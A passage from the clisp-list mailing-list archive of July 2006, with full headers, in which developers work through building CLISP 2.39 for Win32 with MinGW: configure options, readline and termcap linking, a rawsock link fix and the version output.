See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 18:16:22 -0000 On 7/18/06, Sam Steingold wrote: > > * Jack Unrue [2006-07-17 20:14:18 -0600]: > > > > clisp-2.39-win32-mingw.zip is now in SF.net/incoming > > > > The base --version reports: > > > > DRIVEN% ./lisp -M c:/bin/clisp-2.39/base/lispinit.mem -B c:/bin/clisp-2.39/base > > --version > > doesn't it include clisp.exe? Yes, sorry for confusing you. > > I also tried to include the rawsock module, but encountered this > > link error: > > > > rawsock.o: In function > > `error_eai':c:/projects/third_party/clisp-2.39/build-mingw/rawsock/rawsock.c:710: > > undefined reference to `gai_strerror' > > collect2: ld returned 1 exit status > > > > Consequently rawsock is not included. > > this is no good. > please try the appended patch. That worked, thanks. I'm currently trying to get the readline module included, as you can see from my reply to Yaroslav. -- Jack From sds@podval.org Tue Jul 18 11:35:18 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2uPe-0002dK-6a for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 11:35:18 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2uPb-0007FF-LU for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 11:35:18 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A9DD32D00BC; Tue, 18 Jul 2006 14:35:09 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 251843680D2; Tue, 18 Jul 2006 14:35:09 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6IIZ8AX019972; Tue, 18 Jul 2006 14:35:08 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6IIZ8W8019971; Tue, 18 Jul 2006 14:35:08 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Jack Unrue" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Jack Unrue's message of "Tue, 18 Jul 2006 12:16:18 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Jack Unrue" Date: Tue, 18 Jul 2006 14:35:08 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 18:35:18 -0000 > * Jack Unrue [2006-07-18 12:16:18 -0600]: > >> please try the appended patch. > That worked, thanks. good. > I'm currently trying to get the readline module included, as you can > see from my reply to Yaroslav. note that readline is not normally a part of a woe32 system, so your package will need to include the dlls. in fact, in the past we distributed 2 win32 packages: one, built by myself, did not include readline and i18n, and the other, built by Yaroslav, included them. it would be nice if you could provide both. thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://jihadwatch.org http://memri.org http://pmw.org.il http://truepeace.org http://camera.org http://dhimmi.com http://openvotingconsortium.org What was the best thing before sliced bread? From kavenchuk@tut.by Tue Jul 18 12:16:04 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2v35-000653-Td for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 12:16:04 -0700 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2v31-0007Ta-EH for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 12:16:00 -0700 Received: from [194.158.220.160] (account kavenchuk HELO [194.158.220.160]) by tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 103736198; Tue, 18 Jul 2006 22:15:51 +0300 Message-ID: <44BD3366.6030603@tut.by> Date: Tue, 18 Jul 2006 22:15:50 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 MIME-Version: 1.0 To: Jack Unrue References: <44BC7D2A.7060505@jenty.by> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 19:16:04 -0000 Jack Unrue wrote: > Thanks Yaroslav. What package did you install to get 'tgetent'? > It does not appear to be included with pdcurses from GnuWin32 > and I don't see a termcap package there either. http://gnuwin32.sourceforge.net/packages/termcap.htm -- WBR, Yaroslav Kavenchuk. From kavenchuk@tut.by Tue Jul 18 12:28:04 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2vEi-00078X-NL for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 12:28:04 -0700 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2vEi-00022I-8I for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 12:28:04 -0700 Received: from [194.158.220.160] (account kavenchuk HELO [194.158.220.160]) by tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 103740508; Tue, 18 Jul 2006 22:27:57 +0300 Message-ID: <44BD363F.8040501@tut.by> Date: Tue, 18 Jul 2006 22:27:59 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net, Jack Unrue References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 19:28:05 -0000 Sam Steingold wrote: >> * Jack Unrue [2006-07-18 12:16:18 -0600]: >> >>> please try the appended patch. >> That worked, thanks. > good. > >> I'm currently trying to get the readline module included, as you can >> see from my reply to Yaroslav. > > note that readline is not normally a part of a woe32 system, so your > package will need to include the dlls. > > in fact, in the past we distributed 2 win32 packages: one, built by > myself, did not include readline and i18n, and the other, built by > Yaroslav, included them. > it would be nice if you could provide both. > thanks. What about of exclude "-g" option from CFLAGS when build of release? -- WBR, Yaroslav Kavenchuk. From sds@podval.org Tue Jul 18 12:52:17 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2vc9-0000lA-GP for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 12:52:17 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2vc7-00072T-Vz for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 12:52:17 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id ABE449400BC; Tue, 18 Jul 2006 15:52:04 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 186BD36836E; Tue, 18 Jul 2006 15:52:04 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6IJq3oF022227; Tue, 18 Jul 2006 15:52:03 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6IJpwQX022226; Tue, 18 Jul 2006 15:51:58 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <44BD363F.8040501@tut.by> (Yaroslav Kavenchuk's message of "Tue, 18 Jul 2006 22:27:59 +0300") References: <44BD363F.8040501@tut.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Date: Tue, 18 Jul 2006 15:51:58 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 19:52:17 -0000 > * Yaroslav Kavenchuk [2006-07-18 22:27:59 +0300]: > >> in fact, in the past we distributed 2 win32 packages: one, built by >> myself, did not include readline and i18n, and the other, built by >> Yaroslav, included them. >> it would be nice if you could provide both. >> thanks. > > What about of exclude "-g" option from CFLAGS when build of release? yes, thanks for reminding me about that! one has to run configure with CFLAGS="" to avoid the "-g -O2" gnu default. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://dhimmi.com http://ffii.org http://honestreporting.com http://mideasttruth.com http://camera.org http://iris.org.il Someone has changed your life. Save? (y/n) From jdunrue@gmail.com Tue Jul 18 13:10:25 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2vtg-0002Lr-KM for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 13:10:24 -0700 Received: from py-out-1112.google.com ([64.233.166.183]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2vtg-0002Y1-8h for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 13:10:24 -0700 Received: by py-out-1112.google.com with SMTP id e30so142225pya for ; Tue, 18 Jul 2006 13:10:24 -0700 (PDT) Received: by 10.35.106.15 with SMTP id i15mr6007609pym; Tue, 18 Jul 2006 13:10:24 -0700 (PDT) Received: by 10.35.72.9 with HTTP; Tue, 18 Jul 2006 13:10:23 -0700 (PDT) Message-ID: Date: Tue, 18 Jul 2006 14:10:23 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: <44BD3366.6030603@tut.by> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <44BC7D2A.7060505@jenty.by> <44BD3366.6030603@tut.by> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 20:10:25 -0000 On 7/18/06, Yaroslav Kavenchuk wrote: > Jack Unrue wrote: > > Thanks Yaroslav. What package did you install to get 'tgetent'? > > It does not appear to be included with pdcurses from GnuWin32 > > and I don't see a termcap package there either. > > http://gnuwin32.sourceforge.net/packages/termcap.htm Perhaps one of you can decipher what configure is trying to do here: http://home.earthlink.net/~jdunrue/config.log Go to line 11029 and see that configure detects termcap and then gets confused when proceeding to try again to detect readline. I don't understand the gcc command lines that are being constructed from that point on -- why it doesn't use '-L/usr/local/lib -lreadline -ltermcap' is baffling (I'm not experienced debugging automake/autoconf). -- Jack Unrue From sds@podval.org Tue Jul 18 13:52:08 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2wY4-000620-2v for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 13:52:08 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2wY1-0002Dt-GJ for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 13:52:08 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A2A362C00BE; Tue, 18 Jul 2006 16:20:51 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id DD9E43680D2; Tue, 18 Jul 2006 16:20:50 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6IKKogR022634; Tue, 18 Jul 2006 16:20:50 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6IKKow0022633; Tue, 18 Jul 2006 16:20:50 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Jack Unrue" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Jack Unrue's message of "Tue, 18 Jul 2006 14:10:23 -0600") References: <44BC7D2A.7060505@jenty.by> <44BD3366.6030603@tut.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Jack Unrue" Date: Tue, 18 Jul 2006 16:20:50 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 20:52:08 -0000 > * Jack Unrue [2006-07-18 14:10:23 -0600]: > > On 7/18/06, Yaroslav Kavenchuk wrote: >> Jack Unrue wrote: >> > Thanks Yaroslav. What package did you install to get 'tgetent'? >> > It does not appear to be included with pdcurses from GnuWin32 >> > and I don't see a termcap package there either. >> >> http://gnuwin32.sourceforge.net/packages/termcap.htm > > Perhaps one of you can decipher what configure is trying to do > here: > > http://home.earthlink.net/~jdunrue/config.log maybe you could start with building a non-readline, non-i18n distribution first? -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://iris.org.il http://honestreporting.com http://camera.org http://truepeace.org http://jihadwatch.org http://mideasttruth.com Politically Correct Chess: Translucent VS. Transparent. From kavenchuk@tut.by Tue Jul 18 14:55:09 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2xX3-0002xV-Ka for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 14:55:09 -0700 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2xX1-0007hW-5o for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 14:55:09 -0700 Received: from [194.158.220.11] (account kavenchuk HELO [194.158.220.11]) by tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 103799675; Wed, 19 Jul 2006 00:55:01 +0300 Message-ID: <44BD58B4.8010005@tut.by> Date: Wed, 19 Jul 2006 00:55:00 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 MIME-Version: 1.0 To: Jack Unrue References: <44BC7D2A.7060505@jenty.by> <44BD3366.6030603@tut.by> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 21:55:10 -0000 Jack Unrue wrote: > On 7/18/06, Yaroslav Kavenchuk wrote: >> Jack Unrue wrote: >>> Thanks Yaroslav. What package did you install to get 'tgetent'? >>> It does not appear to be included with pdcurses from GnuWin32 >>> and I don't see a termcap package there either. >> http://gnuwin32.sourceforge.net/packages/termcap.htm > > Perhaps one of you can decipher what configure is trying to do > here: > > http://home.earthlink.net/~jdunrue/config.log > > Go to line 11029 and see that configure detects termcap > and then gets confused when proceeding to try again to > detect readline. I don't understand the gcc command lines > that are being constructed from that point on -- why > it doesn't use '-L/usr/local/lib -lreadline -ltermcap' is > baffling (I'm not experienced debugging automake/autoconf). My command: ./configure --with-mingw --with-readline \ --with-module=dirkey \ --with-module=rawsock \ --with-module=bindings/win32 \ --with-libreadline-prefix=/usr/local \ --with-libtermcap-prefix=/usr/local \ --build build-full -- WBR, Yaroslav Kavenchuk. From sds@podval.org Tue Jul 18 15:04:50 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2xgP-0003g4-WB for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 15:04:50 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2xgN-0008FD-C4 for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 15:04:49 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AAF529900B6; Tue, 18 Jul 2006 18:04:37 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 672D836836E; Tue, 18 Jul 2006 18:04:37 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6IM4bsQ023873; Tue, 18 Jul 2006 18:04:37 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6IM4UQ6023871; Tue, 18 Jul 2006 18:04:30 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <44BD58B4.8010005@tut.by> (Yaroslav Kavenchuk's message of "Wed, 19 Jul 2006 00:55:00 +0300") References: <44BC7D2A.7060505@jenty.by> <44BD3366.6030603@tut.by> <44BD58B4.8010005@tut.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Date: Tue, 18 Jul 2006 18:04:30 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 22:04:50 -0000 > * Yaroslav Kavenchuk [2006-07-19 00:55:00 +0300]: > > Jack Unrue wrote: >> On 7/18/06, Yaroslav Kavenchuk wrote: >>> Jack Unrue wrote: >>>> Thanks Yaroslav. What package did you install to get 'tgetent'? >>>> It does not appear to be included with pdcurses from GnuWin32 >>>> and I don't see a termcap package there either. >>> http://gnuwin32.sourceforge.net/packages/termcap.htm >> >> Perhaps one of you can decipher what configure is trying to do >> here: >> >> http://home.earthlink.net/~jdunrue/config.log >> >> Go to line 11029 and see that configure detects termcap >> and then gets confused when proceeding to try again to >> detect readline. I don't understand the gcc command lines >> that are being constructed from that point on -- why >> it doesn't use '-L/usr/local/lib -lreadline -ltermcap' is >> baffling (I'm not experienced debugging automake/autoconf). > > My command: > > ./configure --with-mingw --with-readline \ > --with-module=dirkey \ > --with-module=rawsock \ > --with-module=bindings/win32 \ > --with-libreadline-prefix=/usr/local \ > --with-libtermcap-prefix=/usr/local \ > --build build-full So, where is the package? -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://jihadwatch.org http://camera.org http://dhimmi.com http://truepeace.org http://pmw.org.il http://ffii.org He who laughs last did not get the joke. From jdunrue@gmail.com Tue Jul 18 16:48:53 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2zJ6-00043l-S8 for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 16:48:53 -0700 Received: from py-out-1112.google.com ([64.233.166.176]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2zJ5-0002u5-Gr for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 16:48:52 -0700 Received: by py-out-1112.google.com with SMTP id e30so48052pya for ; Tue, 18 Jul 2006 16:48:50 -0700 (PDT) Received: by 10.35.126.7 with SMTP id d7mr205094pyn; Tue, 18 Jul 2006 16:48:50 -0700 (PDT) Received: by 10.35.72.9 with HTTP; Tue, 18 Jul 2006 16:48:50 -0700 (PDT) Message-ID: Date: Tue, 18 Jul 2006 17:48:50 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <44BC7D2A.7060505@jenty.by> <44BD3366.6030603@tut.by> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 23:48:54 -0000 On 7/18/06, Sam Steingold wrote: > > * Jack Unrue [2006-07-18 14:10:23 -0600]: > > > > Perhaps one of you can decipher what configure is trying to do > > here: > > > > http://home.earthlink.net/~jdunrue/config.log > > maybe you could start with building a non-readline, non-i18n > distribution first? clisp-2.39-win32-mingw-no-readline.zip is now uploaded to SF.net/incoming I have to double-check my solution for another problem. Is the following correct procedure for non-i18n? CFLAGS="" ./configure --with-mingw --build build-without-readline --with-libsigsegv-prefix=/usr/local --with-module=bindings/win32 --with-module=dirkey --with-module=rawsock --without-readline --without-i18n Because I ended up with i18n in the C modules list whether or not I specified the '--without-i18n' option. So, I manually removed i18n from BASE_MODULES in src/makemake.in Also, if I specified '--without-unicode' then one of the tests failed causing the build to abort. The resulting 'clisp --version' reports: GNU CLISP 2.39 (2006-07-16) (built 3362252273) (memory 3362252572) Software: GNU C 3.4.5 (mingw special) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 Features: (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 WIN32) C Modules: (clisp syscalls regexp) Installation directory: C:\bin\clisp-2.39\ User language: ENGLISH Machine: PC/386 (PC/?86) Driven [192.168.0.4] -- Jack Unrue From jdunrue@gmail.com Tue Jul 18 16:53:41 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2zNg-0004ak-Ds for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 16:53:40 -0700 Received: from py-out-1112.google.com ([64.233.166.176]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2zNg-00026k-7g for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 16:53:36 -0700 Received: by py-out-1112.google.com with SMTP id e30so49090pya for ; Tue, 18 Jul 2006 16:53:35 -0700 (PDT) Received: by 10.35.57.5 with SMTP id j5mr204688pyk; Tue, 18 Jul 2006 16:53:34 -0700 (PDT) Received: by 10.35.72.9 with HTTP; Tue, 18 Jul 2006 16:53:34 -0700 (PDT) Message-ID: Date: Tue, 18 Jul 2006 17:53:34 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <44BC7D2A.7060505@jenty.by> <44BD3366.6030603@tut.by> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 23:53:41 -0000 I'm sorry, to clarify: On 7/18/06, Jack Unrue wrote: > > Also, if I specified '--without-unicode' then one of the tests > failed causing the build to abort. The above was only an experiment which I backed out. The following info is from the build I uploaded where all tests pass: > The resulting 'clisp --version' reports: > > GNU CLISP 2.39 (2006-07-16) (built 3362252273) (memory 3362252572) > Software: GNU C 3.4.5 (mingw special) > > [snip] -- Jack Unrue From 